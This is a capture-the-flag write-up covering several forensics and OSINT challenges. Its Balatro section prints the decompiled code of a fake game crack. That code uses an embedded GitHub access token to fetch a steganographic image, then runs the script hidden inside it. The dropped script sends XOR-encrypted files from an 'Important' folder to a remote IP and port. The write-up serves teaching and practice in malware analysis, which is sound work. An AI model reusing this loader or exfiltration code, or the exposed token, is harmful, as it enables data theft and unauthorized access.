# HISC freshman 2025 ## Forensics ### hidden in plain text ``` Difficulty: Easy Just a simple tin học văn phòng Note: flag has 2 parts Author: Raviel ``` ![image](https://hackmd.io/_uploads/r1u9CDQ_kx.png) We got an docx file contains no macros, lets open it up, its seem like this is a wiki page of a character ![image](https://hackmd.io/_uploads/B1DC0DXdJg.png) Pressing ctrl+A we can see there a weird line here look like there some hidden text behide the picture, just to be sure there no invisible text I will change all the text colour to red ![image](https://hackmd.io/_uploads/ByEekdmuJg.png) after changing all the colour to red and moving the picture away, we can clearly see the flag ![image](https://hackmd.io/_uploads/r1T8kdXO1l.png) flag: UTECTF{tH1s_1s_Wh3r3_mY_N4m3_c4m3_Fr0m} ### hide and seek ``` Difficulty: Slightly Easy I hid the flag, now you find it hint: len(flag) == 56 Author: Raviel ``` ![image](https://hackmd.io/_uploads/SyvjyOXdkx.png) We have 448 pictures with the same size ![image](https://hackmd.io/_uploads/r1Jpkumu1e.png) So there no way that there's a hidden flag in one of these 448 pictures, but why 448? if you take 448 divided by 8 the result is 56, isn't that the same size as the flag? By that mean, the flag is binary encoded and splitted into 448 picture, but how can we know that the right way to do? By writing a script that can compare 2 pictures to see if they are the same or not, as you can see, the picture 1 and 2 is different but 1 and 3 is the same, this clearly a binary code. ![image](https://hackmd.io/_uploads/Syd14_QdJe.png) ![image](https://hackmd.io/_uploads/SyeH4dXuJg.png) Solve script: ```python! from PIL import Image flag = '' raw_img = Image.open(r'image1.png') raw_pix = list(raw_img.getdata()) for i in range(1,449): embed_img = Image.open(f'image{i}.png') embed_pix = list(embed_img.getdata()) if raw_pix != embed_pix: flag += "1" continue flag += "0" embed_img.close() raw_img.close() #print(flag) flag = ''.join([chr(int(flag[i:i+8], 2)) for i in range(0, len(flag), 8)]) print(flag) ``` ![image](https://hackmd.io/_uploads/BJca4dm_yg.png) flag: UTECTF{https://youtu.be/G-YNNJIe2Vk?si=8GGmaSd0FS1s-Yq5} ### Balatro ``` Difficulty: Medium My friend just sent me a crack version of Balatro, the game was so fun, its so addictive so I downloaded and can't wait to play it. After playing it for hours its was so fun but then I realized my Friend, he knew my what my secret is. Can you help me retrieve them and also how did he manage to do it Note: flag has 3 parts Author: Raviel ``` We got a PE and Pcap file, checking the pcap we can see there something like a flag here, look like it has been encrypted, lets take those out first, we will need them later. ![image](https://hackmd.io/_uploads/B1E8DdQuyx.png) Okay now lets start checking the PE, using DiE we know that this PE written in python so, there no point of openning it in IDA. ![image](https://hackmd.io/_uploads/SJDUuOQ_1g.png) Lets decompile it first then use Pylingual to rebuild it ![image](https://hackmd.io/_uploads/S1Un_OmOyl.png) ![image](https://hackmd.io/_uploads/r1QEFd7d1g.png) There's a function named Sakuya, look like its use a token to pull a private github repo under that there a function look like it getting data emebeded in a picture ![image](https://hackmd.io/_uploads/B1s6c_muyx.png) ![image](https://hackmd.io/_uploads/ByIkiuQO1e.png) ![image](https://hackmd.io/_uploads/HJm4o_md1l.png) So if you lose the game, the PE will pull an image from a private repo using the token, then take out the data embedded inside the image and execute whatever the image dropped. Also, if you read the bytecode before letting pylingual rebuild the script, there will be a flag there, sometime pylingal miss some infomation while rebuilding the script ![image](https://hackmd.io/_uploads/B1-5sdmuJg.png) So what do we do know? First let take the image back from the private repo ```py import os, requests def spawn(data): dropped_script = 'execute.py' with open(dropped_script, 'w') as file: file.write(data) def Sakuya(): url = 'https://raw.githubusercontent.com/R4ven1elia/payload/main/Sakuya.png' token = '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' headers = {'Authorization': f'Bearer {token}', 'Accept': 'application/vnd.github.v3.raw'} try: response = requests.get(url, headers=headers) response.raise_for_status() return response.content except requests.exceptions.RequestException as e: print(f'Failed to get image: {e}') print(f'Response Status Code: {response.status_code}') exit() ``` using the function but remove the part where it delete itself and execute the payload ```py import os, requests from PIL import Image from base64 import b64decode def execute(): image_data = Sakuya() with open('Sakuya.png', 'wb') as file: file.write(image_data) def spawn(data): dropped_script = 'execute.py' with open(dropped_script, 'w') as file: file.write(data) def image_data(image_path): img = Image.open(image_path) img = img.convert('RGB') pixels = img.load() binary_data = '' for y in range(img.height): for x in range(img.width): r, g, b = pixels[x, y] binary_data += str(r & 1) binary_data += str(g & 1) binary_data += str(b & 1) delimiter = '1111111111111110' data_bits = binary_data.split(delimiter)[0] extracted_data = ''.join((chr(int(data_bits[i:i + 8], 2)) for i in range(0, len(data_bits), 8))) return extracted_data def Sakuya(): url = 'https://raw.githubusercontent.com/R4ven1elia/payload/main/Sakuya.png' token = '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' headers = {'Authorization': f'Bearer {token}', 'Accept': 'application/vnd.github.v3.raw'} try: response = requests.get(url, headers=headers) response.raise_for_status() return response.content except requests.exceptions.RequestException as e: print(f'Failed to get image: {e}') print(f'Response Status Code: {response.status_code}') exit() execute() spawn(b64decode(image_data('Sakuya.png')).decode()) ``` ![image](https://hackmd.io/_uploads/rJ756_QOke.png) ```python! import socket import time import math import os ip = '192.168.80.137' port = 22993 path = 'Important' try: for file in os.listdir(path): full_path = path+'/'+file s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) with open(full_path, 'rb') as r: data_bytes = r.read() current_time = math.floor(time.time()) key_bytes = str(current_time).encode('utf-8') init_key_len = len(key_bytes) data_bytes_len = len(data_bytes) temp1 = data_bytes_len // init_key_len temp2 = data_bytes_len % init_key_len key_bytes *= temp1 key_bytes += key_bytes[:temp2] encrypt_bytes = bytes(a ^ b for a, b in zip(key_bytes, data_bytes)) s.connect((ip, port)) s.send(file.encode()) s.send(encrypt_bytes) s.close() except: pass ``` So it encrypt the Important folder and send to ```192.168.80.137``` by using port 22993, they key it use for encrypting is the time, so we can use the time that wireshark captured to decrypt these files, also if you scroll deep down, there another part of the flag, hehe :3 also it is encoded in Ascii85 ![image](https://hackmd.io/_uploads/Skjr1FQ_Jx.png) ```! also this is the 3rd part of the flag: St3gn0gRpHy_h3h3 lmao, you actually got the 3rd flag, anyway listen to this: https://youtu.be/5Duje_sZko8?si=5d3EFCA6IifU8YBK ``` decrypt script: ```py! import binascii timestamp = 1734417110 with open('enc.txt', 'r') as file: encrypted_hex_string = file.read().strip() encrypted_data = binascii.unhexlify(encrypted_hex_string.replace('\n', '')) key_bytes = str(timestamp).encode('utf-8') init_key_len = len(key_bytes) encrypted_data_len = len(encrypted_data) temp1 = encrypted_data_len // init_key_len temp2 = encrypted_data_len % init_key_len key_bytes *= temp1 key_bytes += key_bytes[:temp2] data_bytes = bytes(a ^ b for a, b in zip(key_bytes, encrypted_data)) with open('lmao.png', 'wb') as file: file.write(data_bytes) ``` ![image](https://hackmd.io/_uploads/SkMKOKXdJg.png) Full flag: UTECTF{B4L4tR0_1s_4dd1ct1v3_s0_y0u_kn0w_p0k3r_St3gn0gRpHy_h3h3} ## Osint ### Investigation ``` Difficulty: Easy Our Flag was leaked out by some one on the internet, it's your job to use your osint skill to retrieve the flag, we heard that he use multiples social media account, we managed to get one of those nickname that he use **R4vi3L**, goodluck soldier I trust you. note: flag all uppercase, example: UTECTFABC_DE = UTECTF{ABC_DE} Author: Raviel ``` Searching the username given in popoular social media platform, we can see there a user with the exact username given. ![image](https://hackmd.io/_uploads/r12gqgAO1e.png) Checking his page, we can't find anything because it locked, but from the description of the challenge we knew that he used multiple social media with different username, in his profile we can see there another username. ![image](https://hackmd.io/_uploads/BJD89eCukg.png) Searching for it in some big social media platform, we can see theres a facebook account ![image](https://hackmd.io/_uploads/SkFOcxAuJl.png) Checking his posts, we cant see anything weird since there aren't any changing history options ![image](https://hackmd.io/_uploads/r1yqcgAukl.png) ![image](https://hackmd.io/_uploads/SknqcgAuJl.png) But there is a weird post saying about "time-machine on the internet" this maybe a clue to some archive website, since there nothing return in wayback machine, we will have to use another archive website like archive.md, query for his profile page (make sure to add a '*' to filder all the post under /kawn28/), we can see there a post has been archived. ![image](https://hackmd.io/_uploads/ry3AcgAuJl.png) Open it up, we got an invitation to a discord server. ![image](https://hackmd.io/_uploads/ry8xjx0Oye.png) In there was a conversation from 2 user, it seem the spotify code has something in it, lets scan it first. ![image](https://hackmd.io/_uploads/rk-GsxAdkl.png) We can clealy see the hint about the flag in here, and it was the first letter of all the song here ![image](https://hackmd.io/_uploads/Hk6rjgC_ye.png) ![image](https://hackmd.io/_uploads/ByXuieAuke.png) Flag: UTECTF{WAVE_OF_MUSIC} --- ![wallpaper](https://hackmd.io/_uploads/BJm1Ytmd1l.jpg)